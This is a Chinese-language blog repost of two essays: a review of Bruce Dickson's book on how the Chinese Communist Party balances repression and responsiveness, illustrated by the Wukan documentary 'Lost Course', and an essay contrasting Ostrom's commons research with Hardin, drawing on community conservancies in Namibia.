他的上一本书《独裁者的困境》（The Dictator’s Dilemma）（2016年）为该党在压制和默许之间的狡猾平衡行为中藐视自由派的期望找到了解释。Dickson 在2010年至2014年进行的民意调查表明，该党在这方面的努力是成功的：大多数人支持该党，不希望政权更迭或西式自由民主。

新书《党与人民》对这一早期作品进行了延伸，认为中国共产党的统治不仅仅是通过镇压措施，也就是说并不像国际媒体的消费者可能会认为的那样，它还通过对某些公众要求的积极回应来获得民众的支持。

在这种形式的政治创新中，中国并非特例。正如 William Scheuerman 最近在对 John Keane 最近的著作《新专制主义》（2020年）的评论中所指出的那样，非民主政权用来赢得民众支持的技术正在发生变化：许多专制国家现在“寄生性地模仿民主，而实际上是在掏空民主”。在中国，这种方法已经从毛泽东时代的思想改革阵营和意识形态忏悔转变为解决需求和改善物质条件（尽管在需要时仍然采用旧的技术，正如今天在新疆看到的那样）。根据 Dickson 的说法，这些对公众敏感的形式构成了一个“党的统治工具箱”，包括镇压措施和回应公民需求和要求的做法。

这种做法有很多形式。西方的读者可能会惊讶地发现，2001年，全国人民代表大会（NPC）开始在网上发布法律草案，征求公众意见。2014年，该党随后宣布，这种类型的法律公众咨询是“治理的主要支柱”。

一部劳动合同法草案在2006年通过之前，吸引了超过19万条在线评论，另有15万条焦点小组的评论。同样，一项医疗保健法草案在2009年通过之前，获得了超过30,000条评论。

这些程序是否只是产生了一种民主问责制的假象，特别是它们是否真正影响了立法者或塑造了立法内容？目前还不清楚。这个过程并不完全透明，但对草案和最终法案的比较可以显示出修改的内容。例如，劳动合同法增加了对雇主签署和履行工作合同的法律约束条款，并使工人的养老金具有流动性；2014年的环境保护法也得到了加强，增加了对污染者的处罚，并允许提起公共利益诉讼。研究表明，显而易见的是，公众对虚假的参与感和咨询的看法导致公众抗议减少。

中国共产党对那些不直接挑战党的直接物质利益的问题反应最为积极。以环境问题为例。当发现北京周边地区空气质量的每日变化与公众对政府的支持成反比时，该党采取了行动。它禁止使用含铅气体，将工厂迁离人口中心，并规定减少煤炭。2014年，李克强宣布“向污染宣战”，第二年，新的《环境保护法》开始生效。

同样，浙江当地的环境抗议活动导致了对污染负有责任的工厂的关闭，而在中国各地对诱发癌症的对二甲苯化工厂的抗议活动也成功地关闭了项目。广东南部的茂名市的情况就很说明问题。2014年，宣布了建造一个新的对二甲苯工厂的计划，这引起了当地的反对。由于对全国各地成功的反对运动的警惕，茂名官员用威胁和恐吓来镇压早期的组织，但这些镇压适得其反，进一步激发了公众的热情，引发了暴力抗议。一周后，当地政府有所收敛，宣布如果没有公众的支持，该厂将不会被建造。

该党对非政府组织（NGO）的处理方式也许最能说明其镇压—回应战略。今天，中国大约有80万个注册的非政府组织，而未注册的团体可能有两倍之多。但据 Dickson 说，非政府组织是否在政府注册并不是最重要的因素。更重要的是，那些致力于改善公共服务和加强政治稳定的团体 —— **Dickson**称之为公民社会**I**（**CSI**）—— 和那些反对政权，通常推动某种形式的民主变革的团体—— 公民社会**II**（**CSII**）之间的区别。

前一类团体提供就业培训，提供医疗服务，并举办文化活动；他们与该党合作，提供地方政府没有能力提供的服务，而且他们的人数正在增加。CSII 团体由批评政权的政治活动家和组织组成，受到国家的压制。一个例子是新公民运动，该运动在2013年开始呼吁提高透明度和向宪政过渡。该运动的领导人被围捕，并以“聚众扰乱公共秩序”的罪名被判刑入狱。

这两种形式的公民社会之间的区别有助于澄清该党对当今中国政治控制的性质。通过镇压民间社会组织，政府关闭了一切政治抗议的途径，避免了对社会问题和政治的批评。

在广东就有一个突出的例子。从20世纪90年代开始，农民工涌入这个南部沿海省份，为工业工厂提供廉价劳动力，非政府组织也随之而来，寻求保护工人的权利。2012年，广东省政府开始与当地劳工非政府组织（**CSI**）合作，提供就业和生活技能培训、医疗和法律教育等服务。而与此同时，政府打击了保护工人权利和鼓励劳工反抗运动的民间政治组织 —— **CSII**型组织。

Dickson 指出，该党的这一战略是“将重点从真正的劳工权利和集体谈判转移到实际问题上，如拖欠工资和工伤赔偿”。该党通过关注个人问题和所谓的人道主义正义的紧迫性，有效地切断了基本的结构性问题 —— 工人的集体权利、劳工在社会中的作用、以及独立工会作为一种政治力量。

对中国共产党来说，这种战略是通用的：通过精明的重新定位来消除激进批评对其权力稳固的威胁。

中国共产党如何与国家对接以实现这些目标？《党和人民》这本书的许多优点之一是对党国结构的清晰讨论。首先，中国共产党对国家和政治资源有制度上的垄断。“每个有政治影响力的领导人 ..... .都是中共党员”，Dickson 解释说，“保持国家中没有反对党，也没有对高级职位的公开竞争”。

如果您错过了《在中国，意识形态的爆炸点》

作为一个一党执政的国家，中国共产党既监督行政机关，又与行政、立法和司法机构紧密结合，在治理中形成了一种分工，而不是制衡。简单地说，中国共产党做出政策和人事方面的决定，由立法机构批准，政府依次执行。同时，司法机构不是一个独立的政府部门，而是属于立法机构的管辖范围，并由该党监督，最直接的方式是任命。

权力的结构从党本身开始。党像一个金字塔一样组织起来，将权力和责任集中在越来越少的人身上。在金字塔的底部是全国党代会，由代表中国各省、主要城市和关键行业—— 军队、银行和国有企业的两千多名党的领导人组成。党代会每五年召开一次，其唯一目的是选举中央委员会，该委员会由大约两百名成员组成。中央委员会依次选出政治局、常务委员会和总书记，每年召开一到两次会议，讨论政策问题。政治局由大约二十几名成员组成，每月召开一次会议，政治局内

部设有由五至九名成员组成的常务委员会（近年来通常为七名）：这些人掌握着中国的绝大部分权力。最高领导是总书记习近平。虽然这种结构听起来像“民主”—— 暗示着从下到上选举官员—— 但事实上却恰恰相反。决定、候选人和任命首先在最高层事先确定，然后才交给党代会和中央委员会批准。

与党组织平行的是政府和立法机构。中国政府大致相当于一个内阁，有总理、副总理、国务委员和部长。法律制定机构是全国人民代表大会，或称人大（不要与全国党代会混淆），它有点类似于议会。大多数成员属于一个政党 —— 当然也只有这么一个党 —— 并对党的部门和政府各部委起草的法律进行投票，这些法律可能会在全国人大委员会中进行辩论；他们修订宪法，听取各部委的意见，并批准对政府职位的提名。然而，与议会民主制完全不同的是，全国人大代表不是选举产生的。

关于人大，见《为什么说中国是资本主义国家》

该党在政府和立法机构内部运作，并控制着各项议程。几乎所有的政府职位和立法代表都由党员担任。(少数非党员曾在全国人大任职并参加会议，但在习近平领导下，这种情况已经停止)。总理（作为政府首脑）和全国人大主席（作为立法机构的首脑）也是常委会成员，是党的领导层的最核心圈。

“这是为了防止他们成为党的反对派”，**Dickson** 说，“相反，他们听从党的命令”。此外，党对所有领导职位或关键岗位进行任命，不仅包括中央和地方政府，还包括国有社会和经济组织，如企业、大学和医院。任何有决策权的重要职位都由忠于党的人担任。“许多政府官员都是党员”，**Dickson** 指出，“以至于很难确定政党在哪里结束，政府在哪里开始”。

虽然这种党国结构确保了对国家机器的完全控制，而且一个制度化的任命过程将政治愿望引向了党的优先事项。任命是通过一个自上而下的、苏维埃式的权力机构系统进行的，每一级都为其下一级挑选成员：中央领导人任命省级领导人，后者又任命市级领导人，再后者又任命村级领导人。这种设计使每一级在选择成员时都有一定程度的自主权，但也使他们对下属的表现负责，并将每一级锁定在预先指定的政治优先事项上。在这方面，遴选和绩效标准很有说服力。每个职位每五年评估一次，在此期间，被任命者必须达到一定的绩效预期和目标。

最重要的期望是必要的目标，这需要维护社会秩序：党最担心的是动

乱，地方和省级官员不遗余力地确保“社会稳定”。如果不能遏制抗议活动，几乎肯定会阻碍晋升，并可能断送自己的职业生涯。同样重要的是硬性目标，包括指定管辖范围内的经济增长。

所有被任命者都要服从这些目标，他们的行动必须与党的目标和优先事项保持一致。政治开创只有在设计手段来转化中央或省级下达的党的指令和政策时才是必要的；它并没有被用于发展一个独立的愿景。忠诚和责任是向上的，从下级官员到上级官员；它不是建立在被管理者、替代方案或其他社会理想的基础上。被任命者必须将自己的所有精力用于实现目标，取悦自己的上级，并努力向上爬。有时，这可能意味着对公民的要求作出适当的回应。

Dickson 认识到在习近平现任领导下的一种转变。这本书的每一章最后都讨论了习近平领导下的变化：压制变得比回应更受青睐；非政府组织面临着越来越大的压力；抗议活动不那么被容忍；任命和晋升的透明度降低。习近平还通过一些行为颠覆了常规政治，如不指定继任者，控制任命，巩固几乎所有党和政府领域的政治权力，以及修改宪法，允许他自己终身担任总统。这与其说是结构性的转变，不如说是权力的集中和他对该党的权威的加强 —— 正如 Dickson 所说，习“恢复和加强了中国共产党在改革时期萎缩的列宁主义方面”。

如果您错过了《没有“革命的政府”这种东西：为什么你不能用国家废除阶级》

为什么是现在？Dickson 没有说，如果说这本富有洞察力的书有什么弱点的话，那就是这里。习近平自始至终都是一个“deus ex machina”，与界定党和推动其政策的网络和派别隔绝。事实上，除了简短的旁白之外，中国共产党看起来比实际情况更加一致和霸道，没有党内政治中存在的、困扰决策的内部裂痕。

我们不清楚为什么习近平要积聚权力，加强对公民社会的控制，取消经济自主权，清除一些腐败官员并保留其他腐败官员，以及暴力镇压香港，但是我们知道，这与党内派别有很大关系。**Dickson** 对中国共产党权力的结构和运作提供了出色的、令人信服的解释，但对社会关系如何形成这种结构本身，却没有提供什么。

吉尔·李(Jill Li)在2019年拍摄的令人震惊的纪录片《迷途》(Lost Course)为 Dickson 描述的党内动态提供了具体的实物教学。这部影片记录了2011年广东东南沿海的一个渔村—— 乌坎爆发的长达数年的动荡，当时村民指称当地政府和党的机构非法将村里的土地卖给了开发商，剥夺了居民的农业生计而没有得到足够的补偿。村民们在该

党机构外游行，赶走了当地官员；当保安被派来时，村民们封锁了道路。国际媒体上充斥着一辆被砸翻的警车的图片。

腐败和抗议都并非不寻常。在中国各地，工资过低的地方官员急于实现增长目标，将村里的土地以巨额资金卖给开发商。面临的不仅仅是飞速增长的不平等，还有人们应有的财产和生计被剥夺—— 在中国，所有的村庄土地都是村里的公共财产 —— 村民们往往会反抗。2005年是中国政府报告抗议数字的最后一年，全国有87,000次抗议，比1993年的8,700次增加了10倍。Dickson 指出，独立的中国研究人员估计**2010**年有**18**万起抗议活动，专家们认为这个数字随着时间的推移只会越来越大。

更不寻常的是接下来发生的事：党对村民要求新领导的态度作出了让步。正如李克强所记述的那样，广东省委副书记带着一小队高级官员来到乌坎，向一群抗议者公开宣布，村民的不满是合理的，地方政府应受到指责。他说："我们承诺尊重人民的要求"，并承诺不逮捕或起诉任何人。当代表团的大巴驶离人群时，摄像机瞥见了汕尾市委书记郑雁雄。他向窗外挥手 —— 而这一无害的行为现在看来是不祥的，因为他在处理乌坎案中的 "成功" 使他在**2020**年被提拔为香港的国安公署署长，他一直负责压制香港的政治自由，使他受到美国的制裁。

《迷途》让我们了解到内部的对话和发展，说明该党是如何垄断政治和社会的精细纹理的。在影片的前面部分，李展示了两个主要活动家在讨论战略。邢，一个精力充沛、理想主义的20岁年轻人，具有强烈的正义感，他说，村民处于强势地位，中央政府会同意他们提出的任何要求。"不，不"，林祖恋打断了他的话，他是村里的老前辈，后来我们知道，他从1965年起就是一名党员，他说，"现在的主要问题是……如何建立一个民主选举的村委会"。

表面上看，这似乎是一个激进的建议：在所谓的共产主义中国实行基层民主。但是，正如 Dickson 所提醒的那样，自1980年代以来，村级选举一直是中国农村的主要内容，当时村民选举村长和村委会，以填补公社解散后留下的空白。1987年，选举法草案对提名和选举程序进行了规定，并在1998年定稿。根据这些规则，选举应每三年举行一次，以无记名投票方式进行，每个职位至少有两名候选人，其提名应来自村民自己。所有这些都发生在乌坎，但它仍然导致了管理不善、腐败和大约一万名村民的愤怒。

党的反应是赶走以前的领导人，让村里人选举新的领导人。不出所料，活动家们在选举中大获全胜。林祖恋被选为村长，后来被任命为村党委书记，将党和政府塑造成一个整体。邢没有参加竞选，但在新

领导身边徘徊，并协助林祖恋。三年来，他们一直致力于解决土地问题，但他们的持续失败使村里的怒火慢慢燃烧起来，直到2014年爆发了新的抗议活动，现在的怒火指向了新的村领导。

林祖恋对村政府办公室外的抗议人群说，他陷入了困境：他说这个问题很复杂，要收回土地非常困难，尽管并不是没有尝试。随着又一次选举的临近，李的纪录片展示了村民们所表达的失望情绪。邢怀疑有腐败，指出政府的工资不足以养活一个家庭。其他人则表示沮丧。“新的领导层没有为我们争取到一平方米的土地! 我们怎么能再次选举他们呢？” 一位村民说，他站在一个看起来是用防水布加固的旧混凝土棚子外面，“我不会投票的。这毫无意义。他们都是腐败分子：老官员卖掉了我们的土地，新官员卖掉了[建筑用的]沙子。他们都是没用的；他们偷他们能偷的任何东西”。这种对乡村民主的看法在今天的中国并不罕见，而且由于党的干预不断加强，这种看法更加强烈。

最终，李的纪录片表明该党如何继续塑造政治。在抗议活动后的第二次选举前夕，该党开始针对活动家成为政治家的问题。为了阻止候选人，并用忠诚者占据村领导层，该党策划了对在职积极人士的指控，并以腐败指控逮捕他们。投票规则也发生了变化：党的候选人被放在了选票的首位，而且允许户主为所有家庭成员投票。尽管如此，林祖恋还是再次当选为村长，尽管得票率大幅下降，下降幅度达20%。（“选民很快就知道了，他们的选票什么都不算”，Dickson 在谈到村级选举的普遍问题时写道。）

回到办公室后，林祖恋再次试图收回村里的土地，但这一努力在2016年结束了，因为他被逮捕了，在村民中引发了持续三个月的抗议，要求释放他。作为回应，该党最终动员了其维稳机构，突袭了该村，逮捕了村民和村长，并扑灭了抗议活动。整个事件转了一圈又回到了原地—— 该党让原来的官员重新负责村里的事务。

在一位同情抗议活动的村长的讲话中，可以找到活动家们最终失败的一个线索。“我可以理解那些高级官员”，他在影片结尾时说，那时镇压已经结束了，“各地的村民都在要求土地。如果整个国家都像这样，跟着乌坎走，那将是完全的混乱。所以中央领导想让我们闭嘴。我认为这很有道理。如果我是一个领导人，我也会这样做”。

正如刘少奇所说，好的共产党员是按照党的标准进行约束的人，今天的好官员是能够讨好上级的人。尽管有外在的回应形式，但党最终只对自己负责。如果乌坎被允许成功地实现其要求 —— 如果林祖恋成功解决了这个问题并拿回了村里的土地 —— 这个体制肯定会开始出

现裂痕，激励其他被骗走土地的村庄站起来反对他们的地方官员并要求伸张正义。

李的纪录片也有不足之处。虽然她对故事中的主角进行了追踪，但观众从未发现在乌坎到底发生了什么。既然有省政府的支持，为什么这件事没有得到更好的结果？上级领导是给了新的村领导班子工作的空间，还是试图用不同的方式来拉拢他们？为什么新委员会不能解决土地问题？

人们感觉到，各种个人关系—— 在精英和党的上级之间—— 是最终的罪魁祸首。例如，林祖恋显然在村民中人缘很好，但他的党内关系似乎很薄弱，他无法加强这些关系。人们不禁要问，如果他有正确的关系或进入正确的 “派系”，他是否能为村民赢回他们的土地。这样一来，整个党、国家和社会的个人关系的性质不仅受制于社会和政治关系的体系，而且是它的基础，构造和再现了它。

尽管如此，李的电影还是有力地照亮了当代中国政治中压制与回应的纠葛。党深深地嵌入社会想象的结构中，它包括一个社会统治系统，不仅构建了政治进程，而且还构建了社会理想。在影片后期，一位记者问林祖恋，如果党的利益与村子的利益相冲突，会发生什么。林回答说：“党是为村子服务的。他们的利益是一样的”。

这个系统能保持吗？答案似乎是肯定的，至少在可预见的未来。在因腐败指控而被保释后，最初当选的乌坎活动家之一杨森茂思考了当代中国的政治状况。“在一个拥有五千年文明史的新兴超级大国，现在每个人都在谨慎求稳。这不是好事”，他在李的电影中说，然后补充了一个条件，“但这个强大的政党无法与体制外的温和改革者合作 …… 现在还不是合作的时候。”

李和 Dickson 都没有提供更乐观的评估。在影片的结尾，李将对乌坎活动家的指控和判决列在类似于照片的位置上。林祖恋因贪污罪被判处三年零一个月；他的副手被判两年。其他抗议活动领导人受到的惩罚甚至更严重。韩因 “聚众扰乱公共秩序”、“非法集会和抗议” 以及 “妨碍司法” 被判处10年6个月，杨因类似指控被判处6年。Dickson 则指出，响应性战略是多么容易地成功收编了激进主义。通过模拟自下而上的参与 —— 将公民视为有意义的利益相关者，而不是僵硬地将他们排除在任何形式的政治活动之外 —— 中共将潜在的批评者纳入了党内。

该党在提高收入和生活水平方面的成功，进一步巩固了其持久性。正如 Dickson 在他的前一本书中所展示的，人们对实际和感知收入的增

加做出了积极的反应。只要他们注意到自己钱包的好处，继续拥有经济机会和社会流动性，并通过提供公共产品体验更好的生活质量，大多数人似乎愿意支持该党，尽管存在腐败和不平等。正如 Dickson 所说，毛泽东时期动荡的经济和政治事件，特别是文化大革命，使中国公众“更关心财富和安全的物质问题，而不是平等和自由的规范目标”。该党策划了一场彻底的经济转型，大多数人都从中受益了。

“为过去的罪恶忏悔并不是一件容易事。尤其是当大多数作恶者并没有受到惩罚的时候；尤其是当许多人从作恶中发了财的时候”...如果您错过了《走出被称为祖国的牢笼》

此外，大多数中国人认为国家已经在民主化，甚至在他们这一代人中，他们已经看到了更多社会和政治自由的增长。他们认为，国家的干预减少了，党的反应更积极了；有更多的经济机会和更多的社会流动空间。正如 Dickson 所指出的，大量重复的调查显示，大多数人同意“中国在后毛泽东时期变得越来越民主，并且已经达到了相对较高的民主水平”。

因此，中国人对民主的理解似乎不在于选举和代表，或者权利和法治，而是在于结果。对大多数人来说，民主是一个人得到的东西 —— 生活质量的提高、经济增长或与西方的平等 —— 而不是一个人做出的东西。至少，大多数中国人已经证明，为了换取中产阶级的稳定和大国地位，他们愿意远离对个人自由的侵犯（如社会信用评分）和人道主义暴行（如对维吾尔族的种族灭绝）。甚至乌坎的抗议者和候选人也强调他们对党的热爱，带头高呼“中国共产党万岁！”

这些现象揭示了党如何维持其对权力的控制的关键方面。党、国家、对政治和社会行动的垄断：所有这些都汇聚在一起，构建了当代中国的社会关系，不仅决定了政治想象的范围，也决定了社会想象的范围。

通过分析党的运作和人民反应的局限性，这两部优秀作品让我们看到了社会和政治权力的本质 —— 以及中国共产党如何继续统治，证明了许多关于其即将死亡的传言被夸大了。那些关心中国的未来和民主的未来的人，需要考虑到该党与人民之间不断发展的关系。

换句话说，如果您不想继续如此，就要考虑从打破这种关系入手 ……。○

The Power of the Party

原文

公地的奇迹 - iyouport

免费书和纪录片

是那些坚持认为人类只能是破坏性的而不是建设性的人们，彻底关闭了一切真正有益的解决方案。

今年5月，中国的大象迁徒事件引发了几乎是全世界的瞩目，热门照片和视频以很多语种的形式被广泛热议。大象成了网红。政府利用这一热门事件打造“可爱”的形象，然而，事实上它是不断扩大的经济行为的结果。

这群大象向北跋涉了500多公里，直到6月6日到达昆明市郊区。然后，在护卫队提供的水果的诱惑下，它们转了个弯，开始向南走。

6 月 2 日，习近平告诉中共高级官员要展示“可信、可爱和受人尊敬的中国”的形象，标志着中国共产党外交方式的转变。此后外交部发言人华春莹也在推特上发布了大象泥浴的视频，以“可爱”做宣传。

而截止6月底，象群已毁坏842多亩、560多平方公里的农田，造成经济损失680万元。

早在2017年，科学家就提出了由于西双版纳、普洱等林区人工林扩张导致天然林迁移的问题。

除了橡胶种植园，2003年以来普洱茶产业的发展也导致商品林种植面积扩大，人象冲突加剧。

研究亚洲象的野外生物学家解释说，流浪的象群正试图寻找新的自然栖息地安顿下来。在过去的二十年里，商业林种植园的扩张使亚洲象分散的栖息地减少了40%。同期，中国该受保护物种的种群数量从193增加到300。

生物学家指出，为阻止大象闯入人类村庄，有必要建立国家公园体系，通过扩大和连接野生动物栖息的天然森林来加强保护工作。

那么，这样的国家公园应该如何管理呢？这是中国的科学家通常会躲

避的问题。

“必需全面私有化” 和 “政府必需管” 这种二元思维在全世界流行，当然，在中国也是如此，以至于没有人愿意听听第三种方案是什么。人类集体被认为一无是处。

直到如今依旧有非常多的人一听到无政府主义或自治就仿佛听到 “恐怖主义” 一样，这不仅是所有国家政权异口同声的抹黑所致，而且，学术界流行的偏执也起到了很大作用。

中国的大象故事是一个好机会，以提醒更多人对这一问题的关注和思考。

本文来自一本 2021年的新书，在当下对晚期资本主义歇斯底里的辩护声浪中，这本新书很重要。

📌 您可以在这下载以进一步阅读：https://www.patreon.com/posts/zi-zhi-ren-men-52723204

1968年12月，生态学家和生物学家加勒特·哈丁在《科学》杂志上发表了一篇名为 “公地悲剧” 的文章。他的主张简单而不留情面：人类，如果任由自己摆布，就会互相争夺资源，直到资源耗尽。

他写道：“毁灭是所有人急于追求自己最佳利益的目的地。公地的自由给所有人带来毁灭”。

哈丁的论点具有直观的意义，并为各种灾难提供了一个诱人的极简化解释 —— 交通堵塞、肮脏的公共厕所、物种灭绝 …… 他的文章被广泛阅读和接受，成为了有史以来被引用最多的科学论文之一。2011年诺贝尔经济学奖获得者埃莉诺·奥斯特罗姆 (Elinor Ostrom)

然而，甚至在哈丁的《公地悲剧》出版之前，年轻的政治学家埃莉诺·奥斯特罗姆就已经证明了哈丁的错误。

当哈丁推测只有通过完全的私有化或完全的政府控制才能避免公地悲剧时，奥斯特罗姆目睹了她的家乡洛杉矶附近的地下水用户如何制定了一个分享他们梦寐以求的资源的系统。

在接下来的几十年里，作为印第安纳大学布伯明顿分校的教授，奥斯特罗姆研究了由瑞士的牧牛人、日本的森林居民、和菲律宾的灌溉者开发的合作管理系统。这些社区找到了既能保护共享资源 —— 牧场、树木、水 —— 又能为其成员提供生计的方法。

几个世纪以来，有些社区一直在巧妙地避免公地悲剧；奥斯特罗姆只是第一批密切关注其传统的科学家之一，并分析了他们如何以及为何发挥作用。

奥斯特罗姆和她的同事们发现，成功的系统的特点包括明确的边界（进行管理的“社区”必须明确界定）；对共享资源的可靠监测；参与者的成本和收益的合理平衡；快速和公平解决冲突的可预测过程；对欺骗者的一系列惩罚措施的升级；以及社区与从户主到国际机构等其他权力层之间的良好关系。2005 年议会考察保护区

当涉及到人类和他们的食欲时，哈丁认为一切都是注定的。而奥斯特罗姆则表明，一切都有可能，但没有什么是可以保证的。“我们既没有被困在不可避免的悲剧中，也没有摆脱道德责任”，她在1997年对政治学家同行的听众说。

哈丁所描绘的悲剧，实际上更像是一场喜剧。虽然它的人类参与者可能是愚蠢的或错误的，但他们很少是邪恶的，虽然一些选择导致了灾难，但其他选择导致了更快乐的结果。这个故事远没有哈丁想象的那样可以预测，它的曲折可能会导致令人不快的地方，但在这些惊喜中，隐藏着哈丁从未见过的可能性。

你可能会认为，科学家和公众会急切地将哈丁对人性的黑暗猜测替换为奥斯特罗姆对人类能力的积极发现？但是，正如《心爱的野兽》（2021）这本新书所记录的那样，奥斯特罗姆的结论遇到了强大的抵抗。在她职业生涯的早期，同事们批评她花了太多时间研究系统之间的差异，而没有花太多时间寻找一个统一的理论。“当有人告诉你，你的工作‘太复杂’时，那是一种侮辱”，她回忆说。

奥斯特罗姆坚持认为，复杂性对社会科学来说和对生态学一样重要，而且机构的多样性需要和生物的多样性一起被保护。“我仍然被问到，做某事的方法是什么？ 在不同的环境中，有很多很多做事的方法”，她于2010年在尼泊尔告诉听众，“我们必须达到这样的程度：我们可以理解复杂性，并利用它，而不是拒绝它”。

她的研究在2009年获得了全球瞩目的地位，当时76岁的奥斯特罗姆成为第一位获得诺贝尔经济学奖的女性。但由于各种原因 —— 也许是因为她是一个男性主导的领域中的女性，也许是因为她复杂的工作并不适合一个响亮的名字 —— 她精心收集的数据并没有将哈丁的错误比喻从公众的想象中赶走。

当奥斯特罗姆在2012年去世时，她的同事们为她的开创性工作、她直

言不讳的谦逊以及她对她称之为“灵丹妙药”的反抗精神而赞叹。她从经验中知道简单的叙事会有多大的腐蚀性。

哈丁则似乎一心想让自己的想法尽可能地令人反感。在他提出的解决所谓的公地悲剧的方案中，有一项是强制性的人口控制：“繁殖的自由是不可容忍的”，他在1968年的文章中写道，他不仅担心人类人口的失控增长，而且担心某些类型人口的失控增长。他在文章中问道，如果一个宗教、种族或阶级“采取过度繁殖的政策，以确保其自身的扩张”，会怎么样？在《公地悲剧》发表几年后，他甚至反对向较贫穷的国家提供粮食援助，声称：“较差的人和能力较弱的人将以牺牲较强的人和其能力为代价进行繁殖，给所有分享公地的人带来最终的毁灭”。换句话说，他认为穷人应该饿死，他把富裕国家比作救生艇，声称“不能接受更多的乘客而不沉没”。

在他的晚年，哈丁的种族主义变得更加明确。“我的立场是，这种多民族社会的想法是一场灾难”，他在1997年告诉一位采访者称，“一个多民族的社会是疯狂的。我认为我们应该限制移民”。哈丁于2003年去世，但非营利组织南方贫困法律中心对他的思想的长期存在一直保持着警惕，在极端主义档案中保留了他的资料，并将他归类为白人民族主义者。

尽管如此，许多憎恶哈丁的种族主义思想的人—— 或者说如果他们知道这些思想就会憎恶的人—— 都被他的所谓公地悲剧的简单性所诱惑了。如果学术引文索引是任何指南的话，“公地悲剧”仍然比奥斯特罗姆的任何研究发现更被学者们所熟知。它继续被不加批判地教授给环境科学课程中的高中生。它被那些支持严格限制人类移民和繁殖的人用作借口。甚至更频繁的是，它被随意援引作为对人类失败的解释：甚至知名生物学家E·O·威尔逊在他的《半边天》（2016年）一书中，将国际气候变化协议的弱点和海洋资源的持续消耗描述为“公地悲剧”，但没有明确指出这些悲剧完全是可以避免的。

尽管奥斯特罗姆和她的同事们收集了大量的反证证据，但是似乎许多人仍然非常愿意相信他们的人类同胞是最卑鄙恶劣的 —— 对全世界的保护工作造成了损害。像哈丁一样，许多保护主义者认为人类只能是破坏性的，而不是建设性的，而且只有通过完全的私有化或完全的政府控制才能实现有意义的保护。这些假设，无论是有意识的还是无意识的，都关闭了一切真正有益解决方案。

虽然奥斯特罗姆的观点还不是人们所熟悉的格言，但它们并没有被完全忽视。

在20世纪80年代的非洲，一些保护主义者认识到，许多由殖民政府建立的公园和保护区将自给自足的猎人和农民与长期以来养活他们的大部分野生动物分割开来—— 在某些情况下，他们几代人都将这些野生动物作为公地管理。因此，缺乏地方支持意味着即使是巡逻最严密的公园边界也容易受到人类邻居的入侵，人们不太可能容忍 —— 更不用说保护了 —— 那些甚至在最大的保护区之外的大型的、有时是麻烦的物种。纳米比亚乌帕罗自然保护区徽章

作为回应，新的举措试图重新分配保护的负担和利益：津巴布韦的本土资源社区管理计划（CAMPFIRE）项目将社区土地上的狩猎和旅游收入导向地区委员会，激励这些委员会及其社区控制非法狩猎。在邻国赞比亚，行政管理设计（ADMADE）项目将当地人训练成野生动物保护者，然后将一些野生动物管理责任和利益从国家政府转移到社区委员会。这些和类似的努力被称为基于社区的保护。

1987年，当南非保护主义者 Garth Owen-Smith 出席在津巴布韦举行的以社区为基础的保护会议时，赞比亚国家公园主任 Harry Chabwela 的一句话给他留下了深刻的印象。Chabwela 说："在这次会议上，我们谈了很多关于给当地人这个或那个的问题，但被遗忘的是，他们也想要权力。他们希望对影响他们生活的资源有发言权。这比钱更重要"。

欧文史密斯已经在纳米比亚生活了多年，那里由南非控制，被称为西南非洲。20世纪80年代初，当严重的干旱和非法狩猎的流行威胁到该地区西北部沙漠的生计和野生动物时，欧文史密斯支持建立一个社区狩猎警卫系统。这些手无寸铁的警卫 —— 其中许多人本身就是猎人 —— 在追踪非法猎取方面非常有效，几年后，该地区对大象和犀牛的杀戮完全停止了。羚羊的数量大大增加，以至于欧文史密斯能够说服国家保护部门在该地区重新开放有限的狩猎活动—— 这一发展受到了当地人的赞赏。当地资源守护者在纳米比亚东北部的卡普里维

Chabwela 对权力的评论促使欧文史密斯想得更远。当他回到家时，他和他的伙伴 Margaret Jacobsohn 开始与社区领导人和成员讨论如何恢复当地对野生动物的一些权力。

1990年纳米比亚从南非赢得独立后，新政府聘请 Jacobsohn 和欧文史密斯对农村的保护态度进行调查，调查证实了两人多年来听到的消息：大多数人不希望他们生活中偶尔出现的危险物种被杀死或清除—— 但他们确实像 Chabwela 建议的那样，希望在它们的管理中拥有发言权。

1996年，纳米比亚国民议会通过了一项法律，允许生活在公有土地上的人们建立名为保护地的机构。保护地将由选举产生的委员会管理，所有成员将分享保护地范围内任何旅游或商业狩猎的利益。对当地野生动物的详细记录

商定当地狩猎配额

2019年8月，Orupembe保护区大会在昂儒瓦郊区的一个露天亭子里举行，这个小镇离最近的加油站有几百英里，离铺面公路更远。参加会议的大多数人都是半游牧的牧民，其中许多人从保护地更偏僻的角落里长途跋涉而来。当昂儒瓦委员会宣布会议开始时，亭子里坐着95个人，大约有一半的保护地成员，刚好达到法定人数。主席 Henry Tjambiru 评论说，目前的干旱迫使许多人把他们的牧群带到更远的地方，使他们无法参加会议。

Orupembe 自然保护区有几个收入来源，都相对较小：一个露营地，一个与其他两个保护地共同拥有的小旅馆，以及与少数几个狩猎向导的合同。（有些保护地的收入很少，其运作资金来自国际保护团体的捐赠；其他保护地，如邻近的 Marienfluss 保护地，与高档旅馆签订了合资协议，每年可获得超过10万美元的工资和费用）。

在回顾了这一年的收入后，委员会分发了一份当地物种的清单和每个物种目前的狩猎配额。由于自配额制定以来，干旱情况有所恶化，保护协会成员自愿将大部分配额存留下来。例如，虽然今年早些时候的野生动物调查表明，可以在不损害种群的情况下杀死75头大羚羊，但到目前为止，只射杀了三头。其中两只的肉目前正在附近的一排锅里煮着，即将作为午餐食用。

会议持续了几个小时，被程序上的低效和喧闹的旁观者争论所干扰，还有一些对小额腐败的指责。但当太阳下山会议接近尾声时，我惊讶地意识到自己感到很振奋。在异常困难的一年里，这些保护地的成员不辞辛苦地来到会议现场，考虑其他物种的长期未来，并再次承诺确保其发展。

在恢复公地的过程中，纳米比亚的保护地恢复了人与野生动物之间的关系—— 而结果，正如奥斯特罗姆所知道的那样，是复杂的。公园和保护区将土地分为明确的类别，而基于社区的保护则提出，土地可以同时得到保护和利用—— 通过生活在土地上的人们的合作以实现。这是对哈丁假设的一个深刻的挑战，虽然它的一些结果很容易让人喝彩—— 大象和犀牛的恢复，新工作的到来 —— 但其他结果却让外人感到不安。

